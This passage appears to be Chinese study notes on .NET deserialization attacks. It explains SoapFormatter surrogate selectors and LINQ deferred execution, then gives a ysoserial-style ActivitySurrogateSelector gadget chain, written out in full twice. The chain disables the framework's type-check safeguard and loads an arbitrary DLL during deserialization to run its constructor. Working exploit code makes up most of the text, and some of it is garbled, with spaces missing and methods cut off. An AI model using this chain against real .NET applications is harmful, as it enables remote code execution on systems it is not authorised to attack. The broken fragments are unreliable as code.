publicint Age { get => age; set => age = value; } publicstring Name { get => name; set => name = value; } publicvoidSayHello() { Console.WriteLine("hello from SayHello"); } } classProgram { staticvoidMain(string[] args) { SoapFormatter soapFormatter = new SoapFormatter(); Person person = new Person(); person.Age = 10; person.Name = "jack"; using (MemoryStream stream = new MemoryStream()) { soapFormatter.Serialize(stream,person);
publicvoidGetObjectData(Object obj, SerializationInfo info, StreamingContext context) { var p = (Person)obj; info.AddValue("Name", p.Name); }
public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector) { var p = (Person)obj; p.Name = info.GetString("Name"); return p; } }
classProgram { publicstaticvoidMain(string[] args) { System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); SoapFormatter fmt = new SoapFormatter(); MemoryStream stm = new MemoryStream();
var ss = new SurrogateSelector(); ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate()); fmt.SurrogateSelector = ss; fmt.Serialize(stm, new Person("jack")); stm.Position = 0; Console.WriteLine(fmt.Deserialize(stm));
stm.Position = 0; var fmt2 = new SoapFormatter(); Console.WriteLine(fmt2.Deserialize(stm)); Console.ReadKey(); } } }
using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Soap;
namespace SoapDeserialization { class NonSerializable { private string _text;
public NonSerializable(string text) { _text = text; }
public override string ToString() { return _text; } }
// Custom serialization surrogate class MySurrogateSelector : SurrogateSelector { public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) { selector = this; if (!type.IsSerializable) { Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); return (ISerializationSurrogate)Activator.CreateInstance(t); } return base.GetSurrogate(type, context, out selector); } }
class Program { public static void Main(string[] args) { System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); SoapFormatter fmt = new SoapFormatter(); MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, new NonSerializable("Hello World!")); stm.Position = 0;
var fmt2 = new SoapFormatter(); Console.WriteLine(fmt2.Deserialize(stm)); Console.ReadKey(); } } }
public static void Main(string[] args) { var word = "hello from linq."; var words = word.Split(' '); var q1 = from s in words where s.ToLower().Contains('o') select s; Console.WriteLine(q1); foreach (var item in q1) { Console.WriteLine(item); } Console.ReadKey(); }
有点像Codeql的查询语法 输出
他会返回一个Enumerable迭代对象当做查询结果。并且LINQ有一个特性叫做延迟执行,也就是说当语句执行到var q1 = from s in words where s.ToLower().Contains('o') select s; 这一步的时候,它并不会执行select语句,它需要被当做enumerable对象的时候会自动触发,也就是上述demo中的foreach (var item in q1) 结合上面说的攻击面扩大,我们可以反序列化LINQ对象进行命令执行,基本的触发链如下
1 2 3 4 5 6 7 8 9 10 11 12 13
public static void Main(string[] args) { List<byte[]> data = new List<byte[]>(); data.Add(File.ReadAllBytes("C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\ExpClass.dll")); var e1 = data.Select(Assembly.Load); Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes")); var e2 = e1.SelectMany(map_type); var e3 = e2.Select(Activator.CreateInstance); foreach (var o in e3) { Console.WriteLine(o); } }
最终执行到CreateInstance里面实例化任意类,实例化的话就能执行dll中的构造函数了
最后执行还是靠 foreach (var o in e3){Console.WriteLine(o);} 这个的话就是会执行上面的select语句
using System; using System.Collections.Generic; using System.Linq; using System.Collections; using System.ComponentModel.Design; using System.Data; using System.IO; using System.Reflection; using System.Web.UI.WebControls; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Runtime.Serialization.Formatters.Soap;
namespace ysoserial.Generators { public class MySurrogateSelector : SurrogateSelector { public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) { selector = this; if (!type.IsSerializable) { Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); return (ISerializationSurrogate)Activator.CreateInstance(t); }
return base.GetSurrogate(type, context, out selector); }
} [Serializable] public class PayloadClass : ISerializable { protected byte[] assemblyBytes; protected int variant_number = 1; public PayloadClass() { this.assemblyBytes = File.ReadAllBytes("C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\ExpClass.dll"); } private IEnumerable<TResult> CreateWhereSelectEnumerableIterator<TSource, TResult>(IEnumerable<TSource> src, Func<TSource, bool> predicate, Func<TSource, TResult> selector) { Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089") .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2") .MakeGenericType(typeof(TSource), typeof(TResult)); return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable<TResult>; } protected PayloadClass(SerializationInfo info, StreamingContext context) { }
public List<object> GadgetChains() { DesignerVerb verb = null; Hashtable ht = null; List<object> ls = null; List<byte[]> data = new List<byte[]>(); data.Add(this.assemblyBytes); var e1 = data.Select(Assembly.Load); Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes")); var e2 = e1.SelectMany(map_type); var e3 = e2.Select(Activator.CreateInstance); PagedDataSource pds = new PagedDataSource() { DataSource = e3 }; IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); verb = new DesignerVerb("", null); typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); ls = new List<object>(); ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(pds); ls.Add(verb); ls.Add(dict); ht = new Hashtable(); ht.Add(verb, ""); ht.Add("", ""); FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array keys = (Array)fi_keys.GetValue(ht); FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); for (int i = 0; i < keys.Length; ++i) { object bucket = keys.GetValue(i); object key = fi_key.GetValue(bucket); if (key is string) { fi_key.SetValue(bucket, verb); keys.SetValue(bucket, i); break; } }
fi_keys.SetValue(ht, keys);
ls.Add(ht);
return ls; }
public byte[] GadgetChainsToBinaryFormatter() { List<object> ls = GadgetChains(); MemoryStream stm = new MemoryStream(); System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, ls);
public class Exp { public static void Main(string[] args) { System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
PayloadClass payload = new PayloadClass(); using (MemoryStream memoryStream = new MemoryStream(payload.GadgetChainsToBinaryFormatter())) { // 构建formatter // SoapFormatter sp1 = new SoapFormatter(); // sp1.Serialize(memoryStream, payload); memoryStream.Position = 0; // var sp2=new SoapFormatter(); var bn=new BinaryFormatter(); bn.Deserialize(memoryStream); } } } }
using System; using System.Collections.Generic; using System.Linq; using System.Collections; using System.ComponentModel.Design; using System.Data; using System.IO; using System.Reflection; using System.Web.UI.WebControls; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Runtime.Serialization.Formatters.Soap; using NDesk.Options;
namespace ysoserial.Generators { public class MySurrogateSelector : SurrogateSelector { public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) { selector = this; if (!type.IsSerializable) { Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); return (ISerializationSurrogate)Activator.CreateInstance(t); }
return base.GetSurrogate(type, context, out selector); }
} [Serializable] public class PayloadClass : ISerializable { protected byte[] assemblyBytes; protected int variant_number = 1; public PayloadClass() { this.assemblyBytes = File.ReadAllBytes("E:\\CTFLearning\\开发学习\\CsharpLearning\\ExpClassa\\ExpClassa\\obj\\Debug\\ExpClassa.dll"); } private IEnumerable<TResult> CreateWhereSelectEnumerableIterator<TSource, TResult>(IEnumerable<TSource> src, Func<TSource, bool> predicate, Func<TSource, TResult> selector) { Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089") .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2") .MakeGenericType(typeof(TSource), typeof(TResult)); return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable<TResult>; } protected PayloadClass(SerializationInfo info, StreamingContext context) { }
public List<object> GadgetChains() { DesignerVerb verb = null; Hashtable ht = null; List<object> ls = null; List<byte[]> data = new List<byte[]>(); data.Add(this.assemblyBytes); var e1 = data.Select(Assembly.Load); Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes")); var e2 = e1.SelectMany(map_type); var e3 = e2.Select(Activator.CreateInstance); PagedDataSource pds = new PagedDataSource() { DataSource = e3 }; IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); verb = new DesignerVerb("", null); typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); ls = new List<object>(); ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(pds); ls.Add(verb); ls.Add(dict); ht = new Hashtable(); ht.Add(verb, ""); ht.Add("", ""); FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array keys = (Array)fi_keys.GetValue(ht); FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); for (int i = 0; i < keys.Length; ++i) { object bucket = keys.GetValue(i); object key = fi_key.GetValue(bucket); if (key is string) { fi_key.SetValue(bucket, verb); keys.SetValue(bucket, i); break; } }
fi_keys.SetValue(ht, keys);
ls.Add(ht);
return ls; }
public byte[] GadgetChainsToBinaryFormatter() { List<object> ls = GadgetChains(); MemoryStream stm = new MemoryStream(); System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, ls);
public class Exp { public static void Main(string[] args) { System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
PayloadClass payload = new PayloadClass(); using (MemoryStream memoryStream = new MemoryStream()) { //构建formatter SoapFormatter sp1 = new SoapFormatter(); sp1.Serialize(memoryStream, payload); memoryStream.Position = 0; var sp2=new SoapFormatter(); // var bn=new BinaryFormatter(); sp2.Deserialize(memoryStream); } } } }